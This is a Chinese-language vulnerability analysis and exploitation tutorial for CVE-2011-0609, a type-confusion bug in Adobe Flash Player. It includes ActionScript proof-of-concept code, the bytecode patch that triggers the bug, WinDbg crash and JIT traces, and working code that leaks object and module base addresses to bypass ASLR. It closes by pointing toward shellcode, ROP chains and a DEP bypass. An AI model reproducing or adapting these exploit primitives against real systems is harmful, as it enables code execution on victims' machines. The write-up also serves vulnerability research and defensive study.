Analysis of CVE-2011-0609 and Advance Exploit Technology
参考:
[1].http://www.vupen.com/blog/20110326.Technical_Analysis_and_Win7_Exploitation_Adobe_Flash_0Day_CVE-2011-0609.php
相关工具:
[1].SWFTools
[2].WinRABCDAsm\RABCDAsm
[3].Windbg
0×01.工具介绍
SWFTools用来编译as脚本,编译as脚本命令:as3compile.exe poc.as -o poc.swf
注意生成文件的路径。
WinRABCDAsm和RABAsm是一款可以直接修改ByteCode的工具,在调试Flash是很好用。WinRABCDAsm是RABAsm的GUI界面,用C#编写,所以运行时首先
需要安装微软.Net Frame Work4.0 ,安装完成后需要将RABAsm的目录添加到Path环境变量,因为WinRABCDAsm会调用RABAsm目录里面的exe文件,没有
环境变量会爆各种错误。完成后就可以通过WinRABCDAsm.exe启动,将要修改的SWF拖入,找到要修改的类和方法, 双击进行修改:
修改完成后点击Reassemble可将字节码重新打包编译成swf文件(修改在原文件上,注意备份原文件)
WinDbg就不用说了.
0×02.关于CVE-2011-0609
该漏洞的利用方式五花八门,通过IE当然是第一种,后来看了下F-Secure爆出通过Excel利用该漏洞的攻击样本,后面Vupen又写文章简单描述了下该漏洞的高级利用方式(without Spary ,without javascript),这里我们的POC也是参考该文章。
0×3. 漏洞成因
正常的AS如下:
package poc { import flash.display.MovieClip; import flash.utils.ByteArray; public class safe extends MovieClip { public function bla():ByteArray { return new ByteArray(); } public function safe() { var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla(); var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA"; t.length; } } }
将上面代码保存成as文件,用SWFTools编译成swf,再用WinRABCDAsm修改字节码。修改前的字节码:
getlocal0 constructsuper 0 pushbyte 1 pushbyte 0 equals iffalse L9 getlocal0 callproperty QName(PackageNamespace(""), "bla"), 0 jump L21 L9: label pushbyte 1 pushbyte 0 equals iffalse L17 getlocal0 callproperty QName(PackageNamespace(""), "bla"), 0 jump L20 L17: label getlocal0 callproperty QName(PackageNamespace(""), "bla"), 0 L20: label L21: label setlocal 1 pushstring "AAAAAAAAAA&AAAAAAAAAAAAA" setlocal 2 getlocal 2 getproperty QName(PackageNamespace(""), "length") pop kill 1 kill 2 returnvoid end ; code end ; body end ; method
修改后的字节码:
修改的地方很明显,将jump L20 这条转跳指令修改到Jmp L22,L22是原始指令的后4条。
Jump L20前的指令用来调用函数bla,该函数返回值为ByteArray,后面的几条指令是获取字符串的length属性,但是修改后的字节码很明显跳过了push
一个字符串的操作,导致前面调用bla返回的ByteArray保存在栈中,这样在获取length属性时获取的就是ByteArray的length,而ByteArry显然不同于
String类型,这样导致一个可能的无效的内存访问。
用以下Html页面加载Flash,这里Flash插件的版本为Adobe Flash Player 10.1.85.3
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="100%" height="100%" id="FlashExp"> <param name="movie" value="CVE_2011_0609.swf" /> <param name="quality" value="high" /> <param name="bgcolor" value="#ffffff" /> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="true" /> </object>
浏览器确实Crash掉了
挂载Windbg时崩溃点信息如下:
0599cfa2 ffd0 call eax 0599cfa4 83c40c add esp,0Ch 0599cfa7 8945f0 mov dword ptr [ebp-10h],eax 0599cfaa c745f0b0e59105 mov dword ptr [ebp-10h],591E5B0h 0599cfb1 8b45f0 mov eax,dword ptr [ebp-10h] 0599cfb4 85c0 test eax,eax 0599cfb6 742c je 0599cfe4 0599cfb8 8b4808 mov ecx,dword ptr [eax+8] 0599cfbb 8b89a0000000 mov ecx,dword ptr [ecx+0A0h] 0599cfc1 8d55c8 lea edx,[ebp-38h] 0599cfc4 8945c8 mov dword ptr [ebp-38h],eax 0599cfc7 8b01 mov eax,dword ptr [ecx] ds:0023:616c660b=???????? 0599cfc9 52 push edx 0599cfca 6a00 push 0 0599cfcc 51 push ecx 0599cfcd ffd0 call eax
根据崩溃点的信息,可以看到此时在AVM的Jit Code中,ecx是一个无效的内存,这里ecx来自eax,而eax的值通过jit生成为0x591E5B0
下面看看eax这个地址到底是什么东西:
0:005> dd eax 0591e5b0 628c2f18 40000002 0580804f 00000000 0591e5c0 00000018 0000001a 628c2f18 00000002 0591e5d0 6283623c 00000000 00000004 00000002 0591e5e0 628c3468 00000002 058f2080 0578bd78 0591e5f0 058fadf1 18000001 628c3658 00000002 0591e600 05919040 058fbcd0 05921238 05813eb0 0591e610 628c2f18 00000003 62820f99 00000000 0591e620 00000003 00000012 628c2f18 00000003 0:005> dc 0580804f 0580804f 41414141 41414141 41264141 41414141 AAAAAAAAAA&AAAAA 0580805f 41414141 41414141 74794209 72724165 AAAAAAAA.ByteArr 0580806f 440d7961 6c707369 624f7961 7463656a ay.DisplayObject 0580807f 73694416 79616c70 656a624f 6f437463 .DisplayObjectCo 0580808f 6961746e 0f72656e 6e657645 73694474 ntainer.EventDis 0580809f 63746170 11726568 65746e49 74636172 patcher.Interact 058080af 4f657669 63656a62 6f4d0974 43656976 iveObject.MovieC 058080bf 0670696c 656a624f 53067463 74697270 lip.Object.Sprit
可以看到eax+8的位置保存的是我们前面的字符串的内容的指针。
现在记住崩溃地址,用修改前的POC进行对比。
修改前的生成的JIt Code如下:
05d19fab 51 push ecx 05d19fac ffd0 call eax 05d19fae 83c40c add esp,0Ch 05d19fb1 8bc8 mov ecx,eax 05d19fb3 8b45c4 mov eax,dword ptr [ebp-3Ch] ss:0023:025fd258=05c40030 05d19fb6 894df0 mov dword ptr [ebp-10h],ecx 05d19fb9 8b4064 mov eax,dword ptr [eax+64h] 05d19fbc 8b4008 mov eax,dword ptr [eax+8] 05d19fbf 8b400c mov eax,dword ptr [eax+0Ch] 05d19fc2 8b4840 mov ecx,dword ptr [eax+40h] 05d19fc5 8d55c8 lea edx,[ebp-38h] 05d19fc8 c745c8b015ca05 mov dword ptr [ebp-38h],5CA15B0h 05d19fcf 8b01 mov eax,dword ptr [ecx] 05d19fd1 52 push edx 05d19fd2 6a00 push 0 05d19fd4 51 push ecx 05d19fd5 ffd0 call eax
这里5CA15B0h为String对象。其偏移为0×8的位置保存字符串的内容,偏移0×10位置保存字符串的长度,那么对比前面的内存Dump信息,可知两次
崩溃的对象均为String对象,不同的是两次生成的JIT Code。
我们来看看ByteArray 对象在内存中是怎样布局的:
package poc { import flash.display.MovieClip; import flash.utils.ByteArray; public class safe extends MovieClip { public function bla():ByteArray { return new ByteArray(); } public function safe() { var t2:ByteArray =new ByteArray(); t2.writeInt(1094795585); //0x41414141 t2.writeInt(1094795585); t2.writeInt(1094795585); t2.writeInt(1094795585); t2.length; } } }
重新编译一个新的Flash文件并用html调用,这里仍然需要注意的是断点,我们根据crash的地址得到的jit code返回地址前的一个call就是jit call,所有的jit代码都会经过这个call进行调用。因此给该函数下端,大概经过5次,即第6次时会执行到actionscript中的safe函数:
得到jit code如下:
可以很清楚的看到push 0×41414141的代码,我们最后得到ByteArray的结构:
这里比较疑惑的是我得到的ByteArray结构和Vupen在Blog上写的并不完全相同。
紧接看看获取length属性的JIt Code
:
是不是发现这里和前面修改过的flash POC crash时的代码很相似?
没错!前面的崩溃代码就是在取一个ByteArray结构的length属性,而实际上那个对象并不是ByteArray,而是一个String对象!
因此得知,修改后的Byte Code被AVM解析时,发生了类型混淆,将本来应该生成String对象length操作的Jit Code,却混淆为ByteArray,由于两种结构完全不同,因此访问到了一块无效的内存。
0×04 漏洞利用
为了绕过ASLR,需要泄漏flash ocx控件的基地址。
泄漏基地址的过程分为两部:
1.泄漏ByteArray地址
2.泄漏ByteArray结构的虚函数地址
第一步可以通过混淆string类型和ByteArray类型实现,具体代码如下
public function bla():String { return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"); } public function blb():ByteArray { var t:ByteArray = new ByteArray(); t.writeInt(1094795585); t.writeInt(1094795585); t.writeInt(1094795585); t.writeInt(1094795585); return t; } public function main() { var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla(); var t:ByteArray = blb(); var o:uint = t.length;//t is confused as String Object trace("[output] ByteArray Object:0x"+o.toString(16)); }
下图红色标注为ByteArray偏移0×10位置的指针。
返回结果:
接下来泄漏ByteArray结构的虚函数地址的代码如下:
package poc { import flash.display.MovieClip; import flash.utils.ByteArray; import flash.external.ExternalInterface; public class safe extends MovieClip { public function blc():Object { return null; } public function bld(param:uint):uint { var a:uint=parseInt(param); a=a|0x00000007; return a; } public function safe() { var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc(); var t3:uint=0x41414141; var t0:uint=bld(t3); var fakenumber:Number=new Number(t0);//t0 is confused as Number Object trace("fakeunmber is :0x"+fakenumber.toString(16)); } } }
上面的代码用来将0×41414141的地址混淆成一个Number对象,其中safe函数生成的jit code如下:
04c59ec9 8945f0 mov dword ptr [ebp-10h],eax 04c59ecc eb71 jmp 04c59f3f 04c59ece 8b45c8 mov eax,dword ptr [ebp-38h] 04c59ed1 8b7008 mov esi,dword ptr [eax+8] 04c59ed4 8bb6d4020000 mov esi,dword ptr [esi+2D4h] 04c59eda 8d8d64ffffff lea ecx,[ebp-9Ch] 04c59ee0 898564ffffff mov dword ptr [ebp-9Ch],eax 04c59ee6 8b06 mov eax,dword ptr [esi] 04c59ee8 51 push ecx 04c59ee9 6a00 push 0 04c59eeb 56 push esi 04c59eec ffd0 call eax {Flash10h!CreateInstance+0x150b6c (6524c370)}==============================> bld() 04c59eee 83c40c add esp,0Ch 04c59ef1 8945f0 mov dword ptr [ebp-10h],eax 04c59ef4 8b75f0 mov esi,dword ptr [ebp-10h] 04c59ef7 8975d0 mov dword ptr [ebp-30h],esi 04c59efa c745a880e3a604 mov dword ptr [ebp-58h],4A6E380h 04c59f01 c745d841414141 mov dword ptr [ebp-28h],41414141h 04c59f08 c745ac00e7a604 mov dword ptr [ebp-54h],4A6E700h 04c59f0f 8b45c8 mov eax,dword ptr [ebp-38h] 04c59f12 8b7008 mov esi,dword ptr [eax+8] 04c59f15 8bb6d8020000 mov esi,dword ptr [esi+2D8h] 04c59f1b 8d8d60ffffff lea ecx,[ebp-0A0h] 04c59f21 898560ffffff mov dword ptr [ebp-0A0h],eax 04c59f27 c78564ffffff41414141 mov dword ptr [ebp-9Ch],41414141h 04c59f31 8b06 mov eax,dword ptr [esi] 04c59f33 51 push ecx 04c59f34 6a01 push 1 04c59f36 56 push esi 04c59f37 ffd0 call eax ==============================> bld() 04c59f39 83c40c add esp,0Ch 04c59f3c 8945f0 mov dword ptr [ebp-10h],eax 04c59f3f 8b75f0 mov esi,dword ptr [ebp-10h] 04c59f42 8975e0 mov dword ptr [ebp-20h],esi 04c59f45 c745b080e3a604 mov dword ptr [ebp-50h],4A6E380h 04c59f4c 6a00 push 0 04c59f4e 68380fa204 push 4A20F38h 04c59f53 53 push ebx 04c59f54 e857a45e60 call Flash10h!CreateInstance+0x148bac (652443b0) 04c59f59 83c40c add esp,0Ch 04c59f5c 8bd6 mov edx,esi 04c59f5e 8b75a0 mov esi,dword ptr [ebp-60h] 04c59f61 8b405c mov eax,dword ptr [eax+5Ch] 04c59f64 83c801 or eax,1 04c59f67 8d8d60ffffff lea ecx,[ebp-0A0h] 04c59f6d c78560ffffff01000000 mov dword ptr [ebp-0A0h],1 04c59f77 899564ffffff mov dword ptr [ebp-9Ch],edx 04c59f7d 51 push ecx 04c59f7e 6a01 push 1 04c59f80 50 push eax 04c59f81 53 push ebx 04c59f82 e8c9ae5f60 call Flash10h!CreateInstance+0x15964c (65254e50) ================== > Number() 04c59f87 83c410 add esp,10h
Windbg调试时断在Number()处:
0:005> p eax=04aab711 ebx=04c4fa30 ecx=026cd3d4 edx=41414147 esi=00000000 edi=04a2f000 eip=04c84ec2 esp=026cd3ac ebp=026cd484 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206 04c84ec2 e889ff6760 call Flash10h!CreateInstance+0x15964c (65304e50) 0:005> p eax=41414147 ebx=04c4fa30 ecx=00000006 edx=026cd3d4 esi=00000000 edi=04a2f000 eip=04c84ec7 esp=026cd3ac ebp=026cd484 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246 04c84ec7 83c410 add esp,10h
返回的eax值为41414147即伪造的Number对象地址。如果不理解为何在bld函数中有个xor 7的操作,请看HaiFei Li的文章。
接下来就可以将0×41414141替换成第一步中泄漏的ByteArray的地址,并读取混淆后的虚函数地址,之后根据虚函数就可以获取基址了,
这里需要注意的是在同一个as文件中进行混淆时发现并没有成功,不知道何原因,将其放置在两个as文件中,如下:
main.as:
package poc { import flash.display.MovieClip; import flash.utils.ByteArray; import flash.external.ExternalInterface; public class main extends MovieClip { public function bla():String { return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"); } public function blb():ByteArray { var t:ByteArray = new ByteArray(); t.writeInt(1094795585); t.writeInt(1094795585); t.writeInt(1094795585); t.writeInt(1094795585); return t; } public function main() { var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla(); var t:ByteArray = blb(); var o:uint = t.length;//t is confused as String Object trace("[output] ByteArray Object:0x"+o.toString(16)); var base:uint=egg.get_base(o); trace("[output] Virtual function Address:0x"+base.toString(16)); trace("[output] Flash Module Base Address:0x"+(base-0x00489b94).toString(16)); } } }
egg.as:
package poc { import flash.utils.ByteArray; public class egg { static public function blc():Object { return null; } static public function bld(param:uint):uint { var a:uint=param; a=a|0x00000007; return a; } static public function get_base(param:uint):uint { trace("[output] arg from main:0x"+param.toString(16)); var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc(); var t3:uint=bld(param); var fakenumber:Number=new Number(t3); // trace("[output] ByteArray Object:0x"+fakenumber.toString(16)); var b:ByteArray = new ByteArray(); b.writeDouble(fakenumber); var res:uint; res = b[4]*0x1000000 + b[5]*0x10000 + b[6]*0x100 + b[7]; return res; } } }
运行效果如下:
这样我们就可以获取模块的基址,通过同样的方式来获取shellcode地址,构造ROP链,ByPass DEP…